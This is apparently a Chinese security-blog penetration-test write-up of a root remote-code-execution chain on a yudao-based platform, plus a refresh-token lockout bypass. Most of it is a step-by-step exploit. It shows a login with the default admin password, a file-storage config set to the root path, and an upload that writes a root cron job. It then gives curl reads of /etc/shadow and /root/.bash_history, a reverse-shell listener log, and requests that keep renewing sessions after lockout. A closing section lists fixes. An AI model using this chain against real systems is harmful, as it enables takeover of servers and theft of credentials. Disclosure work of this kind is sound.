一个默认口令,一路走到root:某平台RCE实录"

admin 2026-10-22 13:47:57 网络安全文章 来源:ZONE.CI 全球网 0 阅读模式

一个默认口令,一路走到 root:某平台 RCE 实录

原创

炫彩之星
炫彩之星

菜鸟学安全

2026年10月19日 08:00
广东

去阅读

很多人看到“默认口令”四个字,下意识反应是:这也算漏洞?上线前改掉不就行了。可在真实的攻防里,一个没改的默认口令,往往不是收尾的小问题,而是整条攻击链的起点。这次的目标是一套xx平台,业务上关联xx、案件与个人信息;而我们从登录框走到 root shell,中间没有零日,靠的也不是什么高深技巧——真正起作用的,是几个本该被拦住的配置问题。

在某地的一次攻防项目中,我们发现某xx平台(xx.xx.xx.xx:28806)存在默认口令→任意文件写→root 远程命令执行、refresh-token 绕过账户锁定等 2 项高危漏洞。目标服务器已被完全控制,攻击者取得 root 权限。

本次对目标地区的资产开展渗透测试,共发现高危漏洞 2 个,漏洞情况如下表:

序号 系统名称 漏洞名称 漏洞数量 漏洞影响 漏洞级别
1 https://xx.xx.xx.xx:28806/api/admin-api/system/auth/login → file-config/create → file/upload 系统:某xx平台 root RCE 1 默认口令直达 root 完全控制,并据此导出全量凭据,是后续横向攻击的起点。 高危
2 https://xx.xx.xx.xx:28806/api/admin-api/system/auth/refresh-token 系统:某xx平台 refresh-token 绕过账户锁定 1 账号锁定后仍可无限续签超管会话,使锁定与应急响应失效。 高危

任意文件写 → root RCE

漏洞描述

资产详情:https://xx.xx.xx.xx:28806

系统名称:某xx平台

漏洞地址:① POST https://xx.xx.xx.xx:28806/api/admin-api/system/auth/login

② file-config/create → file/upload?path=etc/cron.d/artexrce

漏洞说明:yudao 框架默认超管口令 admin/adxx3 未修改,攻击者无需任何前置认证即可登录并取得超管会话;infra/file-config 可新建 basePath=/ 的 Local 存储,infra/file/upload 的 path 参数可写任意绝对路径(以 root 身份落盘)。

危害:攻击者可完全控制某xx平台及其所在服务器。该主机同时承载 Go 业务平台、Spring 业务接口、MySQL、PG、Redis 与 FTP 等多套服务,一旦失陷,业务数据、数据库凭据与主机权限将一并暴露。

https://xx.xx.xx.xx:28806/#/

默认超管口令 admin/adxx3登录。

https://xx.xx.xx.xx:28806/#/pages/login/index?type=2

成功登录后台页面。

复现过程(完整利用链):

# ① 默认口令登录 → 超管会话
【请求包】
POST /api/admin-api/system/auth/login HTTP/1.1
Host: xx.xx.xx.xx:28806
tenant-id: 1
Content-Type: application/json

{
 \"username\": \"admin\",
 \"password\": \"adxx3\"
}
【响应包】
HTTP/1.1 200 OK
Content-Type: application/json

{
 \"code\": 200,
 \"data\": {
  \"userId\": 1,
  \"accessToken\": \"xxxxxxxx\",
  \"refreshToken\": \"xxxxxxxx\",
  \"expiresTime\": 1789820397680
 },
 \"msg\": \"\"
}

# 超管会话核验(get-permission-info)
【请求包】
GET /api/admin-api/system/auth/get-permission-info HTTP/1.1
Host: xx.xx.xx.xx:28806
tenant-id: 1
Authorization: Bearer xxxxxxxx
【响应包】
HTTP/1.1 200 OK

{
 \"code\": 200,
 \"data\": {
  \"user\": { \"id\": 1, \"username\": \"admin\", \"mobile\": \"150xxxxxxxx\" },
  \"roles\": [ { \"id\": 1, \"name\": \"超级管理员\" } ]
 },
 \"msg\": \"\"
}
# ② 建 Local 存储配置(basePath=/)并设为 master
【响应包】
HTTP/1.1 200 OK

{
 \"code\": 200,
 \"data\": \"2101xxxxxxxx0433\",
 \"msg\": \"\"
}
【请求包(设为 master)】
PUT /api/admin-api/infra/file-config/update-master?id=2101xxxxxxxx0433 HTTP/1.1
Host: xx.xx.xx.xx:28806
Authorization: Bearer xxxxxxxx
【响应包】
HTTP/1.1 200 OK

{
 \"code\": 200,
 \"data\": true,
 \"msg\": \"\"
}
# ③ 写 cron 到绝对路径(以 root 落盘;对照:upload 无 token 返回 401「账号未登录」)
【请求包】
POST /api/admin-api/infra/file/upload?path=etc/cron.d/artexrce HTTP/1.1
Host: xx.xx.xx.xx:28806
Authorization: Bearer xxxxxxxx
Content-Type: multipart/form-data; boundary=----X

------X
Content-Disposition: form-data; name=\"file\"; filename=\"c.txt\"

* * * * * root /bin/bash -c 'echo ARTEX_RCE_START; id; uname -a; hostname' > /tmp/artex_rce_proof 2>1
------X--
【响应包】
HTTP/1.1 200 OK

{
 \"code\": 200,
 \"data\": \"http://127.0.0.1/admin-api/infra/file/2101xxxxxxxx0433/get/etc/cron.d/artexrce\",
 \"msg\": \"\"
}
# ④ 约 xx 秒后回读 root 执行结果(get/** 为 permitAll,不带任何请求头)
curl -sk \"https://xx.xx.xx.xx:28806/api/admin-api/infra/file/2101xxxxxxxx0433/get/tmp/artex_rce_proof\"

# ⑤ 同一未授权读原语直读服务器敏感文件
curl -sk \"https://xx.xx.xx.xx:28806/api/admin-api/infra/file/2101xxxxxxxx0433/get/etc/shadow\"
curl -sk \"https://xx.xx.xx.xx:28806/api/admin-api/infra/file/2101xxxxxxxx0433/get/root/.bash_history\"
【响应包 ④】HTTP/1.1 200 OK
uid=0(root) gid=0(root) groups=0(root)
Linux localhost.localdomain 4.19.0-91.82.179.uelc20.x86_64 #1 SMP Mon Apr 22 16:58:08 CST 2024 x86_64 x86_64 x86_64 GNU/Linux
localhost.localdomain

成功获取 root 反弹 Shell。

tmux kill-session -t xx; cd /root/xx-rce & python3 listener.py 1234
[*] listening 0.0.0.0:1234
─────────────── ⑤ 回连与执行(VPS 监听侧记录) ─────────────
[+] xx.xx.xx.xx:45264 connected -> sessions/rs-202610xx-232638-xx.xx.xx.xx.log
bash: cannot set terminal process group (2899073): Inappropriate ioctl for device
bash: no job control in this shell
Welcome to 4.19.0-91.82.179.uelc20.x86_64
[root@localhost ]#
已执行验证(会话内):
uid=0(root) gid=0(root) groups=0(root)

【响应包 ⑤】HTTP/1.1 200 OK(/etc/shadow 实测回读,首行 root 口令哈希)

root:xxxxxxxx
bin:*:19488:0:99999:7:
daemon:*:19488:0:99999:7:
…(共 xx 字节)
# 另实测可读:root/.bash_history(xx 字节,含 MySQL 连接明文口令)
# 应用配置文件 application-prod.yaml(xx 字节,含 MySQL / Redis / FTP / 微信 明文口令与密钥)

refresh-token 绕过账户锁定

漏洞描述

资产详情:https://xx.xx.xx.xx:28806

系统名称:某xx平台

漏洞地址:POST https://xx.xx.xx.xx:28806/api/admin-api/system/auth/refresh-token?refreshToken=…

漏洞说明:账号锁定仅拦截「密码登录」,未吊销已签发的 refresh token,导致锁定无法真正中断攻击者的会话。

危害:yudao 账户锁定机制失效,攻击者可在账号被锁定后持续续签超管会话,使封禁与应急响应措施形同虚设。

复现过程(完整利用链):

# 前置:账号已锁定(登录返回 1002000008「账户已被锁定」)
【请求包】
POST /api/admin-api/system/auth/refresh-token?refreshToken=xxxxxxxx HTTP/1.1
Host: xx.xx.xx.xx:28806
tenant-id: 1
【响应包】
HTTP/1.1 200 OK

{
 \"code\": 200,
 \"data\": {
  \"userId\": 1,
  \"accessToken\": \"xxxxxxxx\"
 }
}
# 新令牌可用:GET /admin-api/infra/file-config/page -H 'Authorization: Bearer xxxxxxxx' → 200

写在最后

复盘整条链路,真正致命的地方并不是某个“高级漏洞”,而是几个再普通不过的配置问题被串在了一起:默认口令没有改,超管会话直接到手;文件配置允许把 basePath 指向根目录;上传接口的 path 没有做归一化,应用又以 root 身份运行。这些环节里只要有一个被拦住,root shell 都不会出现。

另一个漏洞更值得警惕:账号锁定只拦住了密码登录,却没有吊销已经签发的 refresh token。对运营方来说,“锁定”并不等于“断线”;对攻击者来说,只要拿到过有效令牌,锁定就只是一句提示。修复方向其实不复杂:清掉默认口令、应用降权运行、上传路径做根目录限制,并在锁定时同步吊销 refresh token。

渗透测试的意义,不是证明我们能打进去,而是证明一条本不该存在的路确实存在。把这条路上的每一环补上,比事后追着一个 root shell 更有价值。

一个默认口令,一路走到root:某平台RCE实录" 网络安全文章

一个默认口令,一路走到root:某平台RCE实录"

本文实录某平台渗透测试,发现默认口令未修改致超管会话获取,结合任意文件写上传cron至任意路径,以root身份执行命令实现远程代码执行,完全控制服务器;另发现refresh-token绕过账户锁定机制。建议清除默认口令、应用降权运行、限制上传路径并在锁定时吊销令牌。
销售培训要跟着买方走" 网络安全文章

销售培训要跟着买方走"

本文探讨了销售培训的重要性,尤其是对于安全行业。提出培训应先让销售人员了解买方的购买过程,再学习产品知识,以提高出单速度。强调了培训应关注客户旅程,而非只注重产品功能。
用户名是拆不掉的红线,从十二年ID复用看社工档案重建" 网络安全文章

用户名是拆不掉的红线,从十二年ID复用看社工档案重建"

本文介绍OSINT侦察中用户名枚举的社工档案重建方法,通过虚构案例展示跨平台账号关联的`红线效应`,并列举TryHackMe靶场教学案例及真实调查案例。文中还介绍了用户名枚举工具(如Sherlock、Maigret)及国内平台盲区,提出置信度分级与证据链四要素,建议防守方将员工对外ID纳入攻击面台账。
评论:0   参与:  0